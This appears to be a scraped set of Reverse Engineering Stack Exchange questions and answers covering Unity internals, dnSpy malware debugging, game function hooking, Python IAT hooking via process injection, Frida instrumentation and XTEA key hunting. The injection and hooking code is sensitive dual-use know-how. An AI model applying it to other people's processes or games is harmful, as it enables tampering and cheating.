<p>OK after some bold attempts I finally found it quite simple, at least on this Unity version. First, find the method name string and where it's referenced: <a href="https://i.stack.imgur.com/gnjkX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gnjkX.png" alt="enter image description here" /></a></p> <p>It is referenced at 11376594. But what's at this address? Here we go: <a href="https://i.stack.imgur.com/lhJ6t.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lhJ6t.png" alt="enter image description here" /></a></p> <p>It's a string table. The next thing to do is to find out the table's start address, and then what references to this address. This guided me here: <a href="https://i.stack.imgur.com/Uo8q3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Uo8q3.png" alt="enter image description here" /></a> And here: <a href="https://i.stack.imgur.com/wBvYG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wBvYG.png" alt="enter image description here" /></a> This is a loop, which binds each function name to items in another table at 11371C40. This new table is a function table so I renamed it: <a href="https://i.stack.imgur.com/mZaBg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/mZaBg.png" alt="enter image description here" /></a> Now it's reasonable to suspect this function table contains how each native method is implemented. By adding the string offset to the function table address, I got the <code>bool TrySetSetString(string key, string value)</code> address. Diving deeper and here is the hash algorithm: <a href="https://i.stack.imgur.com/2hHh1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2hHh1.png" alt="enter image description here" /></a></p>
29393
2021-10-11T03:12:50.693
<p><strong>Background:</strong><br /> The Unity engine provides a number of <code>PlayerPrefs.SetXxx</code> functions that can be used to save user data. However, it will automatically append a hash to the name of what you saved. For example, a call of<br /> <code>PlayerPrefs.SetString(&quot;justTesting&quot;, &quot;TEST!&quot;);</code> <br /> will add a registry value of<br /> <code>justTesting_h3837386411</code><br /> on Windows platform.<br /> <strong>Problem:</strong><br /> I know it's actually <a href="https://answers.unity.com/questions/177945/playerprefs-changing-the-name-of-keys.html" rel="nofollow noreferrer">djb2-xor</a>, but I am still curious about how the hash function is implemented. By using dnSpy I found <code>PlayerPrefs.SetString</code>, which is implemented in <code>UnityEngine.CoreModule.dll</code>, finally calls a native method declared as</p> <pre><code>[NativeMethod(&quot;SetString&quot;)] [MethodImpl(MethodImplOptions.InternalCall)] private static extern bool TrySetSetString(string key, string value); </code></pre> <p>And I'm stuck here. There's indeed a string <code>UnityEngine.PlayerPrefs::TrySetSetString</code> in <code>.rdata</code> section of <code>UnityPlayer.dll</code>, but I don't know where to find the actual code for it. What should I do next?</p>
Is there a way to find the implementation of methods with MethodImplOptions.InternalCall attribute?
|decompilation|c#|game-hacking|
<p>I've figured out the solution. It's simple. We only need to set a breakpoint inside the DLL.</p>
29394
2021-10-11T05:11:42.660
<p>I've been analyzing a malware written in C# using dnSpy. It loaded a dotnet assembly DLL from its Resources: <a href="https://i.stack.imgur.com/z5Tuw.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/z5Tuw.png" alt="the malware calling a method from loaded DLL" /></a></p> <p>I tried stepping into <code>InvokeMember</code> function, but could not go further when hitting this call: <a href="https://i.stack.imgur.com/iv9ey.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iv9ey.png" alt="enter image description here" /></a></p> <p>I've dumped the DLL to file to analyze it statically, but the code is protected by SmartAssembly, so I cannot fully understand its behavior.</p> <p>My question is: how can I step into the code of the method called by &quot;InvokeMethod&quot;? If I cannot do it directly, is there any workaround?</p>
How to step into an invoked method from a DotNet DLL in dnSpy?
|assembly|dll|.net|dnspy|
<p>OK. Found the issue after checking the screenshots again. It seems that I simply missed the correct beginning of the function while examining Ghidra output.</p> <p>Verifying everything once again as @blabb has suggested has shown that I've missed the correct address for the beginning of the function.</p> <p>Here are screenshots for how to it was evaluated:</p> <p>Address in Ghidra<a href="https://i.stack.imgur.com/btneG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/btneG.png" alt="enter image description here" /></a>:</p> <p>Addresses in VS: <a href="https://i.stack.imgur.com/5Bakg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/5Bakg.png" alt="enter image description here" /></a></p> <p>As you can see the Ghidra <code>offset = 140000000 - 140353ed0 = 353ed0</code></p> <p>Is the same as VS <code>offset = createWorld - baseAddress = 0x00007ff6076d3ed0 - 0x00007ff607380000 = 353ed0</code></p> <p>As I said - there was a mistake in checking Ghidra offset somehow...</p>
29405
2021-10-12T18:57:23.077
<p>I came across &quot;a strange&quot; inconsistency in terms of the function addresses in the particular application.</p> <p>First, the main function is hooked successfully, the address is derived in a fashion:</p> <p>baseAddress + Offset, i.e. from Ghidra baseAddress is <strong>140000000</strong> and the address of the main function is: <strong>0x39EA0</strong></p> <p>So, the main function address is</p> <pre><code>(DWORD_PTR*) baseAddress + 0x39EA0 / (2 * sizeof(DWORD)) </code></pre> <p>This works just fine.</p> <p>But now I am trying to call</p> <pre><code>gladius::world::World* __fastcall gladius::gui::GUI::getWorld(gladius::gui::GUI* thisptr); </code></pre> <p>from within the hooked function and</p> <p>which according to Ghidra supposed to be at <strong>14003ef30</strong>.</p> <p>That makes the offset equal to <strong>0x3ef30</strong> (plus pointer arithmetic). But at that offset from the baseAddress I get</p> <pre><code>Gladius.exe!proxy::video::RenderQueueManager::get </code></pre> <p>function.</p> <p>which in the static analysis is at address <strong>14003ecc0</strong>, 270 bytes away from the static address of <em>getWorld</em>.</p> <p>So, what is happening? Why the stack shifted by 270 bytes? Is it the size of my hooked function?</p>
Inconsistency in function addresses of the hooked functions (address shift)
|c++|function-hooking|dll-injection|
<p>It turns out that IDA pro fails to render dwarf5 format which seems to be default in gcc-11.</p> <p>More info on that: <a href="https://www.phoronix.com/scan.php?page=news_item&amp;px=GCC-11-DWARF-5-Possible-Default" rel="nofollow noreferrer">https://www.phoronix.com/scan.php?page=news_item&amp;px=GCC-11-DWARF-5-Possible-Default</a></p> <p>I changed the format to dwarf4 and it renders the data correctly.</p> <pre><code>g++ -gdwarf-4 example.cpp -o example.exe </code></pre>
29414
2021-10-13T16:03:10.873
<p>I recently observed this bug (error), when I upgraded gcc/g++ from version 9.x to 11.x.</p> <p><a href="https://i.stack.imgur.com/i3S9n.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/i3S9n.png" alt="enter image description here" /></a></p> <p>Basically, Ida fails to parse debug information. I don't get this error when I compile with gcc 9.x. Note that, I get this error when I compile any kind (not specific to source code) of code with <code>-g</code> flag.</p>
ida pro: dwarf fatal error; the dwarf plugin will stop now
|ida|
<p>I cross-posted this to another community that I'm a part of and ended up getting my answer (I should have done this sooner..):</p> <p>It was likely that my code was getting garbage collected, hence the lock up. To keep the code there, I added:</p> <pre><code>while True: pass </code></pre> <p>to the end of my <code>try</code> block. The text is now being logged.</p>
29425
2021-10-17T15:44:45.903
<p>I'm trying to hook a win32 function call (<code>CreateFileW</code>) inside of a notepad process to have the function do additional actions before returning what it should do. Ultimately, this will assist me in some RE translation efforts for another project I'm working on, but I'm just doing this as a proof of concept.</p> <p>I'm the most comfortable in Python, so I've been trying to accomplish this task in this language.</p> <p>There are a lot of small to large scale Python libraries out there on how to RPM/WPM, but hooking/detouring are not focus points with these projects.</p> <p>Here is an example of what I've attempted to do with both the <a href="https://github.com/srounet/Pymem" rel="nofollow noreferrer">pymem</a> and <a href="https://github.com/hakril/PythonForWindows" rel="nofollow noreferrer">PythonForWindows</a> libraries to accomplish this task:</p> <pre><code>import pymem import sys import os from json import dumps wdir = os.path.abspath('.') log_path = os.path.join(wdir, 'out.log').replace(&quot;\\&quot;, &quot;\\\\&quot;) err_path = os.path.join(wdir, 'err.log').replace(&quot;\\&quot;, &quot;\\\\&quot;) shellcode = &quot;&quot;&quot; import sys from os import chdir from traceback import format_exc sys.path=%s chdir(sys.path[0]) def write_file(message): with open(&quot;%s&quot;, &quot;a&quot;) as f: f.write(str(message)) try: import windows from windows.hooks import * @CreateFileWCallback def createfile_callback(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile, real_function): try: write_file(&quot;Trying to open {0}&quot;.format(lpFileName)) return real_function() except: write_file(format_exc()) peb = windows.current_process.peb.modules[0] imp = peb.pe.imports iat_create_file = [entry for entry in imp['kernel32.dll'] if entry.name == &quot;CreateFileW&quot;] result = iat_create_file[0].set_hook(createfile_callback) except: write_file(format_exc()) &quot;&quot;&quot; % ( dumps(sys.path).replace(&quot;\\&quot;, &quot;\\\\&quot;), 'err.log' ) pm = pymem.Pymem('notepad.exe') pm.inject_python_interpreter() pm.inject_python_shellcode(shellcode) </code></pre> <p>This code is <em>supposed</em> to hook the <code>CreateFileW</code> function, log the name of the file it's interacting with to a file and then return the rest of the function. My problem is that when this function is called within notepad, the program just hangs -- so not successful unfortunately.</p> <p>I have a feeling that my code here:</p> <pre><code>pm.inject_python_shellcode(shellcode) </code></pre> <p>is <a href="https://pymem.readthedocs.io/en/latest/api.html?highlight=inject_python_shellcode#pymem.Pymem.inject_python_shellcode" rel="nofollow noreferrer">spawning a thread and executing immediately</a>, instead of only executing when it has been called - but I don't know of a different way to do this.</p> <p>I'm totally open to different ways to go about this. I know <code>ctypes</code> is powerful for this work, but I'm unsure how to implement something like that in this method. I learn best by example code and have easily dumped dozens of hours searching for ways to do this without success. Thanks for any help you can provide!</p>
Hooking IAT in remote process with Python?
|python|function-hooking|injection|iat|
<p>This is been resolved here: <a href="https://reverseengineering.stackexchange.com/questions/29541/how-to-declare-a-constructor-in-reversed-class">Link</a></p> <p>So, the solution is to introduce the class structure functionally the same as the original one and then use the original constructor function to populate it.</p> <p>If the objects of the other classes, i.e. GUI object as a 5th element of the above structure needs to be initialised, then GUI object has to have a proper class constructor as described in the link.</p> <p>You might need a similar structure as described there to initialise any of the objects you want to populate.</p>
29429
2021-10-18T19:19:05.427
<p>Will try to reword the actual question so it is hopefully more descriptive and clear of what I am after:</p> <p>So, there is a function main, which I have successfully hooked. The hooked version looks like this:</p> <pre><code>__int64 __fastcall gamemainHooked(gladius::Game* thisptr, int param_1, char** param_2, char** param_3) { gladius::get().initialize(thisptr, param_1, param_2, param_3); gladius::gui::get().guiRun(*(GUI**)(thisptr + 0x28)); gladius::get().quit(thisptr); return gladius::get().gamemain(thisptr, param_1, param_2, param_3); } </code></pre> <p>Now, see there is a Game* thisptr, which is passed in to that function.</p> <p>When the function is running it populates Game* thisptr instance with</p> <pre><code>thisptr-&gt;GameConstructor (0x0x00000271704c6ec0) thisptr-&gt;gamemain (0x00000271788a94f0) thisptr-&gt;initialize(0x000002716d523b90) thisptr-&gt;quit(0x000002716fdebdd0) </code></pre> <p>he original main function and the hooked one have a function called guiRun, which takes <strong>thisptr + 0x28</strong> offset and which from the code below is the 5th element of the constructor (Game).</p> <pre><code>Game * __thiscall gladius::Game::Game(Game *this) { *(undefined8 *)this = 0; *(undefined8 *)(this + 8) = 0; *(undefined8 *)(this + 0x10) = 0; *(undefined8 *)(this + 0x18) = 0; *(undefined8 *)(this + 0x20) = 0; *(undefined8 *)(this + 0x28) = 0; *(undefined8 *)(this + 0x30) = 0; *(undefined8 *)(this + 0x38) = 0; *(undefined8 *)(this + 0x40) = 0; *(undefined8 *)(this + 0x48) = 0; *(undefined8 *)(this + 0x50) = 0; return this; } </code></pre> <p>Now, what's the best way to reverse this, so that I can have a handle on that 5th element of the Game instance? How should the code look like so that calling guiRun with <strong>thisptr+0x28</strong> succeeds.</p> <p>Should I reverse constructor completely with all of the pointers inside and then point to it?</p> <p>The point is that calling <strong>guiRun (thisptr + 0x28)</strong> doesn't work as <strong>thisptr + 0x28</strong> is not pointing to 5th element of the Game* instance...</p> <p>The current reversed Game struct looks like this:</p> <pre><code> namespace gladius { struct Game { //virtual int __thiscall main(gladius::Game* thisptr, int param_1, char** param_2, char** param_3); using GameConstructor = Game * (__fastcall*) (Game* thisptr); GameConstructor gameConstructor; using GameMain = __int64(__fastcall*) (gladius::Game* thisptr, int param_1, char** param_2, char** param_3); GameMain gamemain; using Initialize = void(__fastcall*) (gladius::Game* thisptr, int a2, char** a3, char** a4); Initialize initialize; using Quit = void(__fastcall*) (gladius::Game* thisptr); Quit quit; }; Game&amp; get(); } / </code></pre> <p>P.S. It seems that guiRun wants to accept *<strong>thisptr</strong> and not <strong>thisptr</strong>. But this will mean that the original signature of the function has to be changed. Not sure if that will lead to the hook not working.</p>
Using struct objects and constructors in hooked function
|c++|function-hooking|proxy|api-reversing|
<p>the buffer is at data_20a0 as comment next to instruction shows</p> <pre><code>&gt;&gt;&gt; hex(0x1f12+2+0x18c)----------'0x20a0' </code></pre> <p>are you running it under a debugger if so set a conditional logging breakpoint to print and continue</p> <p>if you are not running it under debugger you may need to use some instrumentation framework</p> <p>shown below is a windows example see if you can adapt it to your needs</p> <pre><code>#include &lt;stdio.h&gt; int d[10] = {0}; int main(int argc, char *argv[]) { if (argc == 2) { sscanf_s(argv[1], &quot;%d%d%d%d%d%d%d%d%d&quot;, &amp;d[0], &amp;d[1], &amp;d[2], &amp;d[3], &amp;d[4], &amp;d[5], &amp;d[6], &amp;d[7], &amp;d[8]);//checkpass(...); } return 0; } </code></pre> <p>on compiling and executing this source assume checkpass(..) does some magic with sscanf_s() result<br /> you need to know the contents of buffer , format string, and resulting output</p> <p>install frida ( pip install frida-tools on windows 10 x64)<br /> create a javascript file as below<br /> (since I have pdb (symbols) I can use the symbol name if you don't have the symbol use address<br /> since this is windows x64 the first 4 arguments are passed via registers rcx,rdx,r8,r9 (use appropriate registers/stack for your architecture)</p> <pre><code>var myfunc = DebugSymbol.fromName(&quot;sscanf_s&quot;); Interceptor.attach( myfunc.address, { onEnter(args) { this.res = this.context.r8;//save the resultant array address touse onLeave() console.log(&quot;entered &quot; + myfunc.name + &quot;\n&quot;); console.log(hexdump(this.context.rcx, { length: 0x30 }) + &quot;\n&quot;); console.log(hexdump(this.context.rdx, { length: 0x30 }) + &quot;\n&quot;); console.log(hexdump(this.context.r8, { length: 0x30 }) + &quot;\n&quot;); console.log(hexdump(this.context.r9, { length: 0x30 }) + &quot;\n&quot;); }, onLeave(args) { console.log(hexdump(this.res,{length:0x30})) } }); </code></pre> <p>run the compiled binary under frida to log the arguments and return vales as below</p> <pre><code>frida --no-pause -l sscanf.js -f sscanf.exe &quot;1 25 39 401 598 6003 700054 800098 99999999&quot; ____ / _ | Frida 15.1.4 - A world-class dynamic instrumentation toolkit | (_| | &gt; _ | Commands: /_/ |_| help -&gt; Displays the help system . . . . object? -&gt; Display information about 'object' . . . . exit/quit -&gt; Exit . . . . . . . . More info at https://frida.re/docs/home/ Spawned `sscanf.exe 1 25 39 401 598 6003 700054 800098 99999999`. Resuming main thread! entered sscanf_s 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 2306e24efa3 31 20 32 35 20 33 39 20 34 30 31 20 35 39 38 20 1 25 39 401 598 2306e24efb3 36 30 30 33 20 37 30 30 30 35 34 20 38 30 30 30 6003 700054 8000 2306e24efc3 39 38 20 39 39 39 39 39 39 39 39 00 00 00 00 00 98 99999999..... 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 7ff7f3e9f340 25 64 25 64 25 64 25 64 25 64 25 64 25 64 25 64 %d%d%d%d%d%d%d%d 7ff7f3e9f350 25 64 00 00 00 00 00 00 c0 28 e4 f3 f7 7f 00 00 %d.......(...... 7ff7f3e9f360 78 f3 e9 f3 f7 7f 00 00 b8 f3 e9 f3 f7 7f 00 00 x............... 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 7ff7f3eb1bd0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7ff7f3eb1be0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7ff7f3eb1bf0 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 7ff7f3eb1bd4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7ff7f3eb1be4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7ff7f3eb1bf4 00 00 00 00 02 00 00 00 00 00 00 00 02 00 00 00 ................ 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 7ff7f3eb1bd0 01 00 00 00 19 00 00 00 27 00 00 00 91 01 00 00 ........'....... 7ff7f3eb1be0 56 02 00 00 73 17 00 00 96 ae 0a 00 62 35 0c 00 V...s.......b5.. 7ff7f3eb1bf0 ff e0 f5 05 00 00 00 00 02 00 00 00 00 00 00 00 ................ [Local::sscanf.exe]-&gt; Process terminated [Local::sscanf.exe]-&gt; Thank you for using Frida! </code></pre> <p>check the hexdump of this address 7ff7f3eb1bd0 (shown twice one onEnter() and one onLeave()</p> <p>you will notice the buffer is filled with the input onLeave();</p>
29430
2021-10-18T21:12:35.947
<pre><code>00001f10 2846 mov r0, r5 00001f12 6349 ldr r1, [pc, #0x18c] {data_20a0} 00001f14 7944 add r1, pc {data_ce5e, &quot;OK:%16[^:]:%16[^:]:%d:%d:%d:%d:%…&quot;} 00001f16 fff756ea blx #sscanf 00001f1c 4dd1 b #0x1fba </code></pre> <p>After disassembling a binary I found the above ARM instructions. As far as I know the <code>sscanf</code> function (at 0x1f16) reads from the buffer using the format obtained from address 0x1f14 and stores the values to addresses contained in other general purpose registers. I want to know the contents of the buffer and so I thought my option is to print the buffer string to a file while the binary is running. Maybe someone can help me achieve this.</p>
Reading from buffer and printing output to a text file
|disassembly|arm|
<p>You can try using the plugin:</p> <ul> <li><a href="https://hex-rays.com/blog/findcrypt/" rel="nofollow noreferrer">FindCrypt</a> Available for free on the Hex-Rays website, there is also an implementation that uses yara</li> <li><a href="https://github.com/polymorf/findcrypt-yara" rel="nofollow noreferrer">findcrypt-yara</a></li> </ul> <p>I have tested both and they do the job very well, with them it is possible to find possible encryption key in addition to the most common cryptographic patterns used by developers, assuming that the key may be in the dynamic link library, consider also doing an analysis in the main software that calls, and in the last case try:</p> <ul> <li>Hooking this xtea function and intercepting the parameters of its call will make it easy to find the key.</li> </ul> <p>I recommend you try <a href="https://github.com/Zeex/subhook" rel="nofollow noreferrer">SubHook</a> for this task, maybe if you provide the architecture I can specifically help hook it.</p>
29438
2021-10-21T03:31:10.893
<p>I found an dynamic link library, which is available for download at the following link: [libgame.so] (<a href="https://easyupload.io/oh94nx" rel="nofollow noreferrer">https://easyupload.io/oh94nx</a>)</p> <p>I found the function responsible for decrypting xtea: (<a href="https://pastebin.com/PVS8YXyV" rel="nofollow noreferrer">https://pastebin.com/PVS8YXyV</a>)</p> <p>I found the function responsible for the encryption of xtea:(<a href="https://pastebin.com/jgreUAkj" rel="nofollow noreferrer">https://pastebin.com/jgreUAkj</a>)</p> <p>i would like to find try to find the key to xtea, can someone recommend a tool to me or have you already had experience with xtea and can help me find the xtea key?</p> <p>i have tried and cannot get a valid signature for lua xtea implementation.</p>
How to found signature XTEA for Lua
|decryption|cryptography|lua|